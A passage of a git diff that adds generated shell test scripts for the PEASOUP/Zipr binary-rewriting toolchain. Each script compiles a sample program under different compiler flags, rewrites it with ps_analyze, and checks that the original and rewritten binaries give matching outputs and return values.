+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b623dee0ff78fa3594f507aff3c8274e40c2cd0d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4953eb8a22353fdaf3d87b65b787ab2f2a85c795
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..db9edf803a9be9a55f14e8718229c6b97b4d41b0
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..27fc477893f499fef70195d3d26c6a26f15d20d0
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4e000818512fc1b2dc075e8a50abaf0a4f930b33
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d59ac2ad0c4884972f2453ceefea20919827f5ea
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
